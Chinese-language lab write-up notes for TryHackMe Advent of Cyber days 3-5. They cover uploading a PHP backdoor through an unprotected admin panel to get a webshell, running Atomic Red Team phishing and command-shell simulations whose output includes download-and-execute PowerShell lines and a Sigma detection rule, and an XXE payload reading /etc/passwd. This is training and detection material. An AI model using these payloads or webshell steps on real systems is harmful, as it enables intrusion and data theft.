![image](https://hackmd.io/_uploads/rJxuJ2srNkx.png)


# 3:
我先用==attack box==打完`echo "10.10.216.40 frostypines.thm" >> /etc/hosts`這個之後就可以連到`http://frostypines.thm`了，然後我們切換一下資料類別到==frostypines-resorts== 時間也設定一下:

![image](https://hackmd.io/_uploads/SJ-RUsBE1x.png)

那我這邊先把==staus==濾掉，只留狀態碼**200**的

![image](https://hackmd.io/_uploads/r11SviSVyx.png)

前面幾個封包就看見酷酷的path:

![image](https://hackmd.io/_uploads/HJPPwoSVJl.png)

`admin/index.php`是啥?我們訪問一下:

![image](https://hackmd.io/_uploads/BJpOtsSNkx.png)

直接進到別人家==admin==的`control Panel`了，右上角看到`Add new Room`聯想到能不能上傳一個`backdoor`上去執行，所以就照他給的範例==backdoor.php==直接上傳，沒有檔案驗證直接就傳上去了

另一個問題是上傳之後的==backdoor.php==的`path`會在哪裡，所以我回去翻了一下封包，加上`message: "shell.php"`之後看到這個:

![image](https://hackmd.io/_uploads/SyiwcjHEkx.png)

所以大膽猜測把shell.php改成我們的==backdoor.php==就能夠成功執行==webshell==了

![image](https://hackmd.io/_uploads/B1Q29oHNJe.png)
👍👍👍👍👍👍👍👍👍👍👍👍👍👍

OK開始找`flag.txt`，自己找:D
:::

## Day4 Atomic Red Team

:::danger
*I’m all atomic inside!*
:::
---
:::info
**偵測差距**
:::

雖然每個藍隊隊員的理想夢想是能夠偵測到每一次攻擊或攻擊行動中的每個步驟，但現實是，我們無法做到這一點。這是所有藍隊成員都必須面對的現實：偵測上總是會有漏洞。但別擔心！這些漏洞不必像黑洞一樣巨大，我們可以採取一些措施來縮小這些漏洞。

**==偵測差距==通常源於以下兩個主要原因：**  
1. **==資訊安全是一場貓捉老鼠的遊戲。==** 隨著我們增強偵測能力，威脅行為者和==紅隊==會找到新的、更隱秘的方法來規避偵測。此時，我們需要研究這些新技術並更新我們的偵測規則與告警機制，以應對新的技術。  
2. **==異常行為與正常行為之間的界線通常非常模糊，甚至有時會有顯著的重疊。==** 例如，假設我們的公司總部位於美國，因此我們預期幾乎所有的登入都來自美國的IP地址。但有一天，我們收到來自歐盟的登入事件，這看似異常，但也有可能是我們的==CEO==因商務旅行而產生的登入行為。這種情況下，==正常行為和惡意行為交織在一起==，使得制定準確的偵測規則變得困難，同時避免過多的噪聲數據。

藍隊需要不斷地改進和完善偵測規則，以縮小由上述兩個原因引起的差距。我們來看看如何實現這一點！

---

:::info
**網絡攻擊與殺傷鏈**
:::
在深入探討如何創建新的偵測規則之前，我們先討論一些關鍵概念。其中之一就是網絡攻擊的殺傷鏈。所有網絡攻擊基本上都遵循一個相對標準的流程，這在統一的殺傷鏈模型中得到了很好的解釋。
***
:::info
**統一殺傷鏈的流程圖**
:::
![image](https://hackmd.io/_uploads/rJ4pO1vNke.png)

作為==藍隊成員==，我們的夢想是能在==殺傷鏈==的開始階段就阻止所有攻擊，例如在==威脅行為==者剛開始偵察時就攔截他們。然而，正如之前所討論的，這是不可能的。因此，目標需要稍作調整。如果我們無法在殺傷鏈的某一階段==完全偵測並阻止威脅行為者==，那麼我們的目標應是跨越整個==殺傷鏈==進行偵測，以確保即使某一階段存在偵測漏洞，這個漏洞能在後續階段被彌補。因此，目標是確保在威脅行為者達成最終目標之前就能偵測到他們。

---

:::info
**MITRE ATT&CK 框架**
:::
在理解威脅行為者在殺傷鏈中採取的各種技術和戰術時，==MITRE ATT&CK== 框架是一個非常受歡迎的工具。該框架匯集了真實威脅行為者實施的戰術、技術和程序 (==TTPs==)，並提供了一個導航工具供研究這些 ==TTPs==：

![image](https://hackmd.io/_uploads/ryUM2JvVyl.png)

:::info
**MITRE ATT&CK 框架的導航頁面**
:::

然而，該框架主要是從理論角度討論這些 ==TTPs==。即使我們知道某個 ==TTP== 存在漏洞，我們也不知道如何測試或消除這個漏洞。這時，**==Atomic Red==** 就派上用場了！

---

:::danger
**Atomic Red Team**
:::
==Atomic Red Team== 是一個==紅隊測試案例==的集合，這些案例被映射到 ==MITRE ATT&CK== 框架上。該庫包含簡單的測試案例，任何==藍隊==都可以執行這些案例來測試偵測差距並幫助彌補這些差距。該庫還支持自動化，這些技術可以被自動執行，當然，也可以手動執行。

---
:::danger
**模擬攻擊的實作**  
:::
假設 McSkidy 懷疑某人試圖使用 Atomic Red Team 模擬對系統的攻擊，並且沒有清理測試痕跡。我們可以通過以下步驟來重現這次模擬攻擊，並檢查其產生的痕跡。

---

:::info
**執行 Atomic 測試**  
:::
McSkidy 推測，攻擊者使用了 ==MITRE ATT&CK== 的技術 ==T1566.001==（帶有附件的魚叉式網絡釣魚）。讓我們模擬這次攻擊並檢查生成的痕跡。

打開管理員模式的 ==PowerShell== 提示符並按照以下指令操作。我們首先檢查幫助頁面，輸入以下命令：

```powershell
PS C:\Users\Administrator> Get-Help Invoke-Atomictest
NAME
    Invoke-AtomicTest

SYNTAX
    Invoke-AtomicTest [-AtomicTechnique] <string[]> [-ShowDetails] [-ShowDetailsBrief] [-TestNumbers <string[]>] 
    [-TestNames <string[]>] [-TestGuids <string[]>] [-PathToAtomicsFolder <string>] [-CheckPrereqs]
    [-PromptForInputArgs] [-GetPrereqs] [-Cleanup] [-NoExecutionLog] [-ExecutionLogPath <string>] [-Force] [-InputArgs<hashtable>] [-TimeoutSeconds <int>] [-Session <PSSession[]>] [-Interactive] [-KeepStdOutStdErrFiles]
    [-LoggingModule <string>] [-WhatIf] [-Confirm]  [<CommonParameters>]

ALIASES
    None

REMARKS
    None
```

這將顯示命令可用的參數列表，接下來我們將了解常用參數及其用途。

---
:::info
**參數說明**  
:::

| 參數名稱          | 說明                                                                                          | 使用範例                                                               |
|------------------|---------------------------------------------------------------------------------------------|--------------------------------------------------------------------|
| **-Atomic Technique** | 定義要模擬的技術。可以使用完整的技術名稱或 "TXXXX" 格式的值。此參數為可選。                                | `Invoke-AtomicTest -AtomicTechnique T1566.001`                   |
| **-ShowDetails**     | 顯示 Atomic 測試中每個測試的詳細資訊。                                                               | `Invoke-AtomicTest T1566.001 -ShowDetails`                        |
| **-ShowDetailsBrief**| 僅顯示 Atomic 測試中每個測試的標題。                                                               | `Invoke-AtomicTest T1566.001 -ShowDetailsBrief`                   |
| **-CheckPrereqs**    | 檢查是否存在進行測試所需的所有必要組件。                                                               | `Invoke-AtomicTest T1566.001 -CheckPrereqs`                       |
| **-TestNames**       | 使用完整的 Atomic 測試名稱設定要執行的測試。                                                           | `Invoke-AtomicTest T1566.001 -TestNames "Download Macro-Enabled Phishing Attachment"` |
| **-TestGuids**       | 使用唯一的測試識別碼設定要執行的測試。                                                               | `Invoke-AtomicTest T1566.001 -TestGuids 114ccff9-ae6d-4547-9ead-4cd69f687306` |
| **-TestNumbers**     | 使用測試編號設定要執行的測試，範圍僅限於指定的 Atomic 技術。                                             | `Invoke-AtomicTest T1566.001 -TestNumbers 2,3`                   |
| **-Cleanup**         | 執行配置的清理指令，將機器狀態恢復到正常。                                                           | `Invoke-AtomicTest T1566.001 -TestNumbers 2 -Cleanup`             |
---

:::info
**我們的第一個指令**  
:::
現在我們可以構建第一個命令。我們希望了解執行技術 ==T1566.001== 測試時具體會發生什麼。因此，我們需要包括技術名稱並添加 `-ShowDetails` 參數。完整命令如下：

```powershell
PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -ShowDetails
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics

[********BEGIN TEST*******]
Technique: Phishing: Spearphishing Attachment T1566.001
Atomic Test Name: Download Macro-Enabled Phishing Attachment
Atomic Test Number: 1
Atomic Test GUID: 114ccff9-ae6d-4547-9ead-4cd69f687306
Description: This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating
an end user clicking a phishing link to download the file. The file "PhishingAttachment.xlsm" is downloaded to the %temp
% directory.

Attack Commands:
Executor: powershell
ElevationRequired: False
Command:
$url = 'http://localhost/PhishingAttachment.xlsm'
Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm

Cleanup Commands:
Command:
Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore
[!!!!!!!!END TEST!!!!!!!]


[********BEGIN TEST*******]
Technique: Phishing: Spearphishing Attachment T1566.001
Atomic Test Name: Word spawned a command shell and used an IP address in the command line
Atomic Test Number: 2
Atomic Test GUID: cbb6799a-425c-4f83-9194-5447a909d67f
Description: Word spawning a command prompt then running a command with an IP address in the command line is an indiciat
or of malicious activity. Upon execution, CMD will be lauchned and ping 8.8.8.8

Attack Commands:
Executor: powershell
ElevationRequired: False
Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Command (with inputs):
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = "   Open `"C:\Users\Public\art.jse`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "Word"

Cleanup Commands:
Command:
Remove-Item #{jse_path} -ErrorAction Ignore
Command (with inputs):
Remove-Item C:\Users\Public\art.jse -ErrorAction Ignore

Dependencies:
Description: Microsoft Word must be installed
Check Prereq Command:
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
Check Prereq Command (with inputs):
try {
  New-Object -COMObject "Word.Application" | Out-Null
  $process = "Word"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
Get Prereq Command:
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
Get Prereq Command (with inputs):
Write-Host "You will need to install Microsoft Word manually to meet this requirement"
[!!!!!!!!END TEST!!!!!!!]
```

該命令將顯示 ==T1566.001== Atomic 中包含的所有測試的詳細資訊。

**鑰匙** | **價值** | **描述**  
---|---|---  
**技術** | **釣魚：魚叉式附件 T1566.001** | 將被測試的 MITRE ATT&CK 技術的完整名稱。  
**原子測試名稱** | **下載啟用巨集的釣魚附件** | 將執行的測試類型的描述性名稱。  
**原子測試編號** | **1** | 分配給測試的編號，可在命令中使用此編號指定要運行的測試。  
**原子測試 GUID** | **114ccff9-ae6d-4547-9ead-4cd69f687306** | 分配給此測試的唯一 ID，可在命令中使用此 ID 指定要運行的測試。  
**描述** | 此原子測試從 Atomic Red Team 的 GitHub 儲存庫下載啟用巨集的文檔，模擬終端用戶點擊釣魚連結下載文檔的情景。文件 **"PhishingAttachment.xlsm"** 將被下載到 `%temp%` 資料夾中。 | 提供測試將執行的內容的詳細說明。  
**攻擊指令** |   執行者：**powershell**  需要管理權限：**否**  指令：`$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP.xlsm`  | 提供測試期間運行的所有指令的概述，包括執行方式和所需權限，並幫助定位可在 Windows 事件檢視器中查找的痕跡。  
**清理指令** | 指令：`Remove-Item $env:TEMP.xlsm -ErrorAction Ignore` | 概述執行的指令以將機器恢復到原始狀態。  
**依賴性** | **無需依賴項** | 概述在測試機器上執行測試時必須存在的所有資源。 

::: danger
**釣魚：魚叉式附件 T1566.001 模擬**  
:::
現在讓我們繼續執行 ==T1566.001== 的第一次測試。在執行模擬之前，我們應確保所有必要資源已準備就緒，以成功完成測試。為了驗證這一點，我們可以在命令中添加 `-CheckPrereq` 標誌，命令如下：  
`Invoke-AtomicTest T1566.001 -TestNumbers 1 -CheckPrereq`  

此命令將使用測試詳細信息中的「依賴項」部分的數據，驗證是否具備所有必要資源。檢查 ==T1566.001== 第一次測試的依賴項發現，不需要額外資源。對第二次測試執行相同的命令，會顯示需要安裝 ==Microsoft Word==，如以下所示：  

```powershell!
Administrator: Windows  
PowerShell  
PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 2 -CheckPrereq  
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics  
  
CheckPrereq's for: T1566.001-2  
Prerequisites not met:  
[*] Microsoft Word must be installed  
  
Try installing prereq's with the -GetPrereqs switch
```  

驗證依賴項後，繼續執行模擬。執行以下命令開始模擬：  
`Invoke-AtomicTest T1566.001 -TestNumbers 1`  

執行此命令後，會獲得以下輸出：  

```powershell
Executing Atomic Test T1566.001  
PS C:\Users\Administrator> Invoke-AtomicTest T1566.001 -TestNumbers 1  
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics  
  
Executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment  
Done executing test: T1566.001-1 Download Macro-Enabled Phishing Attachment  
```  

從輸出可看出測試已成功執行。接下來，我們可以分析 ==Windows 事件檢視器中的日誌==，尋找攻擊和妥協的指標 (IoC)。  

---

:::warning
**檢測原子測試**  
:::
執行 ==T1566.001== 測試後，我們可以在日誌中尋找與此次模擬攻擊相關的條目。為此，將使用 Windows 事件日誌。此機器已安裝 ==Sysmon==（系統監視器），提供詳細的進程創建、網絡連接及文件創建時間更改的信息。  

為更方便檢索此次模擬產生的事件，我們先清理先前測試的文件：  
執行以下命令：  
`Invoke-AtomicTest T1566.001 -TestNumbers 1 -cleanup`  

接著清除 ==Sysmon== 事件日誌：  
1. 打開事件檢視器（從工作列圖標或開始功能表中搜尋）。  
2. 在左側導航至「Applications」=>「Microsoft」=>「Windows」=>「Sysmon」=>「Operational」。  
3. 右鍵點擊「==Operational==」，選擇「清除日誌」，彈出對話框時點擊「清除」。  

清理完成後，重新執行模擬：  
`Invoke-AtomicTest T1566.001 -TestNumbers 1` 

完成後，在事件檢視器中右鍵點擊「==Operational==」日誌並選擇「重新整理」。應會看到與此次模擬攻擊相關的新事件，按日期時間欄排序，確保事件按時間順序排列。  

觀察如下兩個重要事件：  
1. PowerShell 創建了一個進程，執行以下命令：  
   ```powershell!
   "powershell.exe" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm}
   ```
2. 文件 **PhishingAttachment.xlsm** 被創建。  

點擊每個事件查看詳情，選擇「詳細資料」選項卡以查看可讀格式的數據，這些數據對事件回應和生成警報規則非常有價值。  

![image](https://hackmd.io/_uploads/H1KpIxvNyl.png)

---

:::warning
**清理與分析**
:::
檢視生成的工件，前往目錄：  
`C:\Users\Administrator\AppData\Local\Temp\`  
打開文件 `PhishingAttachment.txt`，其中包含回答問題 1 的標誌。完成後執行以下命令清理工件：  
`Invoke-AtomicTest T1566.001 -TestNumbers 1 -cleanup`  

---

:::danger
**為原子測試設置警報**  
:::
根據 Sysmon 日誌中發現的多個妥協指標 (IoC)，我們可以利用這些信息創建偵測規則，並將其應用於 EDR、SIEM、IDS 等工具中。  

例如，我們可以將以下檢測指標整合到 Sigma 規則中：  

```powershell!
"powershell.exe" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm}"
```

1. 使用 **Invoke-WebRequest** 指令：背後執行腳本時不常見。  
2. 特定 URL **http://localhost/PhishingAttachment.xlsm**。  
3. 文件名稱 **PhishingAttachment.xlsm**。  

:::info
**Sigma 輸出結果**  
:::

```yaml
title: Detect PowerShell Invoke-WebRequest and File Creation of PhishingAttachment.xlsm
id: 1
description: Detects the usage of Invoke-WebRequest to download PhishingAttachment.xlsm and the creation of the file PhishingAttachment.xlsm.
status: experimental
author: TryHackMe
logsource:
  category: process_creation
  product: windows
  service: sysmon
detection:
  selection_invoke_webrequest:
    EventID: 1
    CommandLine|contains:
      - 'Invoke-WebRequest'
      - 'http://localhost/PhishingAttachment.xlsm'
  selection_file_creation:
    EventID: 11  # Sysmon Event ID for File Creation
    TargetFilename|endswith: '\PhishingAttachment.xlsm'
  condition: selection_invoke_webrequest or selection_file_creation
falsepositives:
  - Legitimate administration activity may use Invoke-WebRequest, and legitimate Excel files may be created with similar names.
level: high
tags:
    - attack.t1071.001   # Web Service - Application Layer Protocol
    - attack.t1059.001   # PowerShell
    - attack.t1105       # Ingress Tool Transfer
    - attack.t1566.001   # Spearphishing Attachment
```  

通過將此規則導入到使用的主要工具中（如 ==EDR== 或 ==SIEM==），我們可以實現針對 ==T1566.001== 的高效警報設置。

:::spoiler ***問題***

#### 1.What was the flag found in the .txt file that is found in the same directory as the PhishingAttachment.xslm artefact?
HINT:||Follow the instructions step by step.||

#### 2.What ATT&CK technique ID would be our point of interest?
HINT:||External research: Look up the MITRE ATT&CK technique ID for Command and Scripting Interpreter.||

#### 3.What ATT&CK subtechnique ID focuses on the Windows Command Shell?
HINT:||External research: Look up the MITRE ATT&CK subtechnique ID for Command and Scripting Interpreter.||

#### 4.What is the name of the Atomic Test to be simulated?
HINT:||Replace the subtechnique placeholder in the command Invoke-AtomicTest subtechnique -ShowDetails with the one found in question 3. Look for Atomic Test Names in regards to malware.||

#### 5.What is the name of the file used in the test?

#### 6.What is the flag found from this Atomic Test?
HINT:||Save the PDF and read it's content.||

:::spoiler **Writeup**

首先我要說，這幾題確實滿難的，前面教學的部分也滿不詳細的，但大致的內容都有寫出來

# 1:

跟著上面的教學過程做執行==T1566.001==並且觀察他執行指令可以看到一行bash:
```bash!
"powershell.exe" & {$url = 'http://localhost/PhishingAttachment.xlsm' Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm}
```
然後你可以到`C:\Users\Administrator\AppData\Local\temp`這個路徑去看，就可以看到一個`PhishingAttachment.xlsm`的檔案，點開來就是flag了

# 2:

老實說一開始看不懂這題要我找甚麼，後來發現這題的"point of interest"是執行==command==(Command and Scripting)的一個工具，這個使用的技術是甚麼，那前面有一個==Sigma==的規則，沒看過==EDR==的人可能不知道，但是THM給的那個資訊就是==EDR==偵測完的==alert==了(原版的不會有註解，那個是THM給的)，所以可以看到==T1059.001==後面備註了一個==PowerShell==，所以我就去Mirte查了一下這在幹嘛的

大意:攻擊者可能會濫用 ==PowerShell== 命令和腳本來執行

所以簡單來講就是PowerShell被濫用，跟這題的例子相符，就是他了。

# 3:

被用在==Windows Command Shell==的==Command and Scripting==部分在[Mitre](https://attack.mitre.org/techniques/T1059/001/)這邊翻一下就找到了，最簡單的一題

# 4:

這邊的話題目就是要求我們用==T1059.003==來執行模擬，我們可以先看一下他的詳細資訊(執行了啥bash)，所以我們輸入指令:

```bash!
Invoke-AtomicTest T1059.003 -ShowDetails
```

那他出來的資訊如下:
```
PathToAtomicsFolder = C:\Tools\AtomicRedTeam\atomics

[********BEGIN TEST*******]
Technique: Command and Scripting Interpreter: Windows Command Shell T1059.003
Atomic Test Name: Create and Execute Batch Script
Atomic Test Number: 1
Atomic Test GUID: 9e8894c0-50bd-4525-a96c-d4ac78ece388
Description: Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.

Attack Commands:
Executor: powershell
ElevationRequired: False
Command:
Start-Process #{script_path}
Command (with inputs):
Start-Process $env:TEMP\T1059.003_script.bat

Cleanup Commands:
Command:
Remove-Item #{script_path} -Force -ErrorAction Ignore
Command (with inputs):
Remove-Item $env:TEMP\T1059.003_script.bat -Force -ErrorAction Ignore

Dependencies:
Description: Batch file must exist on disk at specified location ($env:TEMP\T1059.003_script.bat)
Check Prereq Command:
if (Test-Path #{script_path}) {exit 0} else {exit 1}
Check Prereq Command (with inputs):
if (Test-Path $env:TEMP\T1059.003_script.bat) {exit 0} else {exit 1}
Get Prereq Command:
New-Item #{script_path} -Force | Out-Null
Set-Content -Path #{script_path} -Value "#{command_to_execute}"
Get Prereq Command (with inputs):
New-Item $env:TEMP\T1059.003_script.bat -Force | Out-Null
Set-Content -Path $env:TEMP\T1059.003_script.bat -Value "dir"
[!!!!!!!!END TEST!!!!!!!]


[********BEGIN TEST*******]
Technique: Command and Scripting Interpreter: Windows Command Shell T1059.003
Atomic Test Name: Writes text to a file and displays it.
Atomic Test Number: 2
Atomic Test GUID: 127b4afe-2346-4192-815c-69042bec570e
Description: Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.

Attack Commands:
Executor: command_prompt
ElevationRequired: False
Command:
echo "#{message}" > "#{file_contents_path}" & type "#{file_contents_path}"
Command (with inputs):
echo "Hello from the Windows Command Prompt!" > "%TEMP%\test.bin" & type "%TEMP%\test.bin"

Cleanup Commands:
Command:
del "#{file_contents_path}" >nul 2>&1
Command (with inputs):
del "%TEMP%\test.bin" >nul 2>&1
[!!!!!!!!END TEST!!!!!!!]


[********BEGIN TEST*******]
Technique: Command and Scripting Interpreter: Windows Command Shell T1059.003
Atomic Test Name: Suspicious Execution via Windows Command Shell
Atomic Test Number: 3
Atomic Test GUID: d0eb3597-a1b3-4d65-b33b-2cda8d397f20
Description: Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary.

Attack Commands:
Executor: command_prompt
ElevationRequired: False
Command:
%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}
Command (with inputs):
%LOCALAPPDATA:~-3,1%md /c echo Hello, from CMD! > hello.txt & type hello.txt
[!!!!!!!!END TEST!!!!!!!]


[********BEGIN TEST*******]
Technique: Command and Scripting Interpreter: Windows Command Shell T1059.003
Atomic Test Name: Simulate BlackByte Ransomware Print Bombing
Atomic Test Number: 4
Atomic Test GUID: 6b2903ac-8f36-450d-9ad5-b220e8a2dcb9
Description: This test attempts to open a file a specified number of times in Wordpad, then prints the contents.  It is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed.  See https://redcanary.com/blog/blackbyte-ransomware/.

Attack Commands:
Executor: powershell
ElevationRequired: False
Command:
cmd /c "for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}" | Out-null
Command (with inputs):
cmd /c "for /l %x in (1,1,1) do start wordpad.exe /p C:\Tools\AtomicRedTeam\atomics\T1059.003\src\Wareville_Ransomware.txt" | Out-null

Cleanup Commands:
Command:
stop-process -name wordpad -force -erroraction silentlycontinue

Dependencies:
Description: File to print must exist on disk at specified location (C:\Tools\AtomicRedTeam\atomics\T1059.003\src\Wareville_Ransomware.txt)
Check Prereq Command:
if (test-path "#{file_to_print}"){exit 0} else {exit 1}
Check Prereq Command (with inputs):
if (test-path "C:\Tools\AtomicRedTeam\atomics\T1059.003\src\Wareville_Ransomware.txt"){exit 0} else {exit 1}
Get Prereq Command:
new-item #{file_to_print} -value "This file has been created by T1059.003 Test 4" -Force | Out-Null
Get Prereq Command (with inputs):
new-item C:\Tools\AtomicRedTeam\atomics\T1059.003\src\Wareville_Ransomware.txt -value "This file has been created by T1059.003 Test 4" -Force | Out-Null
[!!!!!!!!END TEST!!!!!!!]


[********BEGIN TEST*******]
Technique: Command and Scripting Interpreter: Windows Command Shell T1059.003
Atomic Test Name: Command Prompt read contents from CMD file and execute
Atomic Test Number: 5
Atomic Test GUID: df81db1b-066c-4802-9bc8-b6d030c3ba8e
Description: Simulate Raspberry Robin using the "standard-in" command prompt feature cmd `/R <` to read and execute a file via cmd.exe See https://redcanary.com/blog/raspberry-robin/.

Attack Commands:
Executor: command_prompt
ElevationRequired: False
Command:
cmd /r cmd<#{input_file}
Command (with inputs):
cmd /r cmd<C:\Tools\AtomicRedTeam\atomics\T1059.003\src\t1059.003_cmd.cmd

Dependencies:
Description: CMD file must exist on disk at specified location (C:\Tools\AtomicRedTeam\atomics\T1059.003\src\t1059.003_cmd.cmd)
Check Prereq Command:
if (Test-Path #{input_file}) {exit 0} else {exit 1}
Check Prereq Command (with inputs):
if (Test-Path C:\Tools\AtomicRedTeam\atomics\T1059.003\src\t1059.003_cmd.cmd) {exit 0} else {exit 1}
Get Prereq Command:
New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd" -OutFile "#{input_file}"
Get Prereq Command (with inputs):
New-Item -Type Directory (split-path C:\Tools\AtomicRedTeam\atomics\T1059.003\src\t1059.003_cmd.cmd) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd" -OutFile "C:\Tools\AtomicRedTeam\atomics\T1059.003\src\t1059.003_cmd.cmd"
[!!!!!!!!END TEST!!!!!!!]
```
其實其他資訊好像都沒啥重要的 這邊根據題目幫大家擷取個重點:

```
Atomic Test Name: Create and Execute Batch Script
Atomic Test Number: 1

Atomic Test Name: Writes text to a file and displays it.
Atomic Test Number: 2

Atomic Test Name: Suspicious Execution via Windows Command Shell
Atomic Test Number: 3

Atomic Test Name: Simulate BlackByte Ransomware Print Bombing
Atomic Test Number: 4

Atomic Test Name: Command Prompt read contents from CMD file and execute
Atomic Test Number: 5
```
我也不懂為什麼Test4是對的 但根據題目的格式是4沒錯

# 5:

那一樣根據上面的Detail可以發現有一個檔案一直被提到，檔案名稱也不對勁，就是`Wareville_Ransomware.txt`

# 6:

這題我看HINT才知道怎解，反正就是直接執行這個==T1059.003==一遍，然後最後他會跳一個PDF存檔的畫面，存檔完後把他打開就是了(害我翻bash翻超久)

執行指令:`Invoke-AtomicTest T1059.003`

滿有挑戰性的
:::

## Day 5 XXE

::: danger
*SOC-mas XX-what-ee?*
:::

---

:::info
****可擴展標記語言（XML）****
:::
==XML== 常用於傳輸和存儲數據，以結構化格式使人類和機器都能輕鬆理解。想象一個場景，兩台電腦需要通信並共享數據。兩個設備需要同意一個共同的格式來交換信息。這個協議（格式）被稱為 ==XML==。你可以將 ==XML== 想像成一個數字文件櫃。正如文件櫃有標籤文件夾，==XML== 使用標籤來標記和組織信息。這些標籤就像文件夾，定義存儲數據的類型。這是 ==XML== 的一個例子，是一段以結構化方式組織的簡單文本信息：

```xml
<people>
   <name>Glitch</name>
   <address>Wareville</address>
   <email>glitch@wareville.com</email>
   <phone>111000</phone>
</people>
```

在這個例子中，標籤 `<people>`、`<name>`、`<address>` 等就像文件櫃中的文件夾，但它們現在存儲的是關於 ==Glitch== 的數據。標籤內的內容，如 **"Glitch"**、**"Wareville"** 和 **"111000"** 表示實際存儲的數據。==XML== 的主要優點是它易於共享和自定義，允許你創建自己的標籤。

---

:::info
**文檔類型定義（DTD）**
:::

現在兩台計算機已經同意以共同的格式共享數據，那麼格式的結構如何呢？這時 ==DTD== 發揮作用。==DTD==是一組規則，用來定義 ==XML== 文檔的結構。就像數據庫模式，它就像一個藍圖，告訴你 ==XML== 文件中允許哪些元素（標籤）和屬性。可以把它當作一個規則，確保 ==XML== 文檔遵循特定的結構。

例如，如果我們想確保 ==XML==文檔必須包含名稱、地址、電子郵件和電話號碼，我們可以通過 ==DTD== 定義這些規則，如下所示：

```xml
<!DOCTYPE people [
   <!ELEMENT people (name, address, email, phone)>
   <!ELEMENT name (#PCDATA)>
   <!ELEMENT address (#PCDATA)>
   <!ELEMENT email (#PCDATA)>
   <!ELEMENT phone (#PCDATA)>
]>
```

在上面的 ==DTD== 中，`<!ELEMENT>` 定義了允許的元素（標籤），如 **name、address、email** 和 **phone**，而 `#PCDATA` 代表解析後的字符數據，這意味著它將僅包含純文本。

---

:::warning
**Entities(實體)**
:::

到目前為止，兩台電腦已經將==格式==、==數據結構==和它們將共享的數據類型達成一致。==XML==中的實體是佔位符的，允許插入大量數據或引用內部或外部文件。它們有助於使==XML==文件易於管理，特別是當相同的數據重複多次時。實體可以在==XML==文檔內部定義，也可以在外部定義，引用來自外部來源的數據。

例如，一個外部實體引用外部文件或資源。在以下代碼中，實體 `&ext;` 可以指向位於 `http://tryhackme.com/robots.txt` 的外部文件，如果系統允許，該文件將被加載到 ==XML== 中：

```xml
<!DOCTYPE people [
   <!ENTITY ext SYSTEM "http://tryhackme.com/robots.txt">
]>
<people>
   <name>Glitch</name>
   <address>&ext;</address>
   <email>glitch@wareville.com</email>
   <phone>111000</phone>
</people>
```

我們專門討論外部實體，因為它是如果管理不當會引入 XXE 的主要原因之一。

--- 

:::danger
XML 外部實體（XXE）
:::

在理解了 XML 及其實體工作原理之後，我們現在可以探討 XXE 漏洞。XXE 是一種利用 XML 解析器處理外部實體方式的攻擊。當 web 應用程序處理包含外部實體的 XML 文件時，解析器將嘗試加載或執行實體指向的任何資源。如果沒有進行必要的清理，攻擊者可以將實體指向任何惡意來源/代碼，導致 web 應用程序的不良行為。

例如，如果一個易受攻擊的 XML 解析器處理以下外部實體定義：

```xml
<!DOCTYPE people [
   <!ENTITY thmFile SYSTEM "file:///etc/passwd">
]>
<people>
   <name>Glitch</name>
   <address>&thmFile;</address>
   <email>glitch@wareville.com</email>
   <phone>111000</phone>
</people>
```

在這裡，實體 `&thmFile;` 指向系統上的敏感文件 /etc/passwd。當 XML 被處理時，解析器將嘗試加載並顯示該文件的內容，將敏感信息暴露給攻擊者。

在接下來的任務中，我們將檢查 XXE 如何工作以及如何利用它。

---

:::info
申請流程
:::

作為滲透測試人員，首先分析應用程式的流程非常重要。首先，使用者將瀏覽產品並將感興趣的項目新增至他們的願望清單`http://靶機IP/product.php`。點擊`Add to Wishlist`下方的`Wareville's Jolly Cap`，如下圖：

![image](https://hackmd.io/_uploads/rJloXPdNke.png)

